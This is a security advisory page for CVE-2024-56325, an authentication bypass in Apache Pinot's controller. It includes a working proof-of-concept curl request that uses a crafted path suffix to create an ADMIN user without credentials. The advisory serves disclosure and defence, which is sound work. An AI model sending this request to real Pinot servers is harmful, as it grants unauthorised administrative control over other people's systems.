GHSA-6jwp-4wvj-6597
Suggest an improvement- Source
- https://github.com/advisories/GHSA-6jwp-4wvj-6597
- Import Source
- https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/04/GHSA-6jwp-4wvj-6597/GHSA-6jwp-4wvj-6597.json
- JSON Data
- https://api.osv.dev/v1/vulns/GHSA-6jwp-4wvj-6597
- Aliases
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- CVE-2024-56325
- Published
- 2025-04-01T09:30:20Z
- Modified
- 2025-04-01T18:42:10.768016Z
- Severity
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- 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
- Summary
- Apache Pinot Vulnerable to Authentication Bypass
- Details
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Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hackCONTROLLER\"} http://{serverip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
- Database specific
{ "nvd_published_at": "2025-04-01T09:15:15Z", "cwe_ids": [ "CWE-288" ], "severity": "CRITICAL", "github_reviewed": true, "github_reviewed_at": "2025-04-01T18:20:48Z" }- References
Affected packages
Maven / org.apache.pinot:pinot
Package
- Name
- org.apache.pinot:pinot
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- Purl
- pkg:maven/org.apache.pinot/pinot